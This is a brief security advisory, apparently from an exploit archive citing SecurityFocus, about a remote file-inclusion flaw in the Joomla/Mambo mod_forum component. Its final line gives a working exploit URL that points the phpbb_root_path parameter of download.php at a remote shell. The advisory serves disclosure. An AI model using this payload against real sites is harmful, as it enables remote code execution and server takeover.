Joomla! / Mambo Component Mod_Forum - 'PHPBB_Root.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/24591/info

The 'mod_forum' component for Joomla and Mambo is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to access the underlying system.

http://www.example.com/components/com_forum/download.php?phpbb_root_path=[Shell]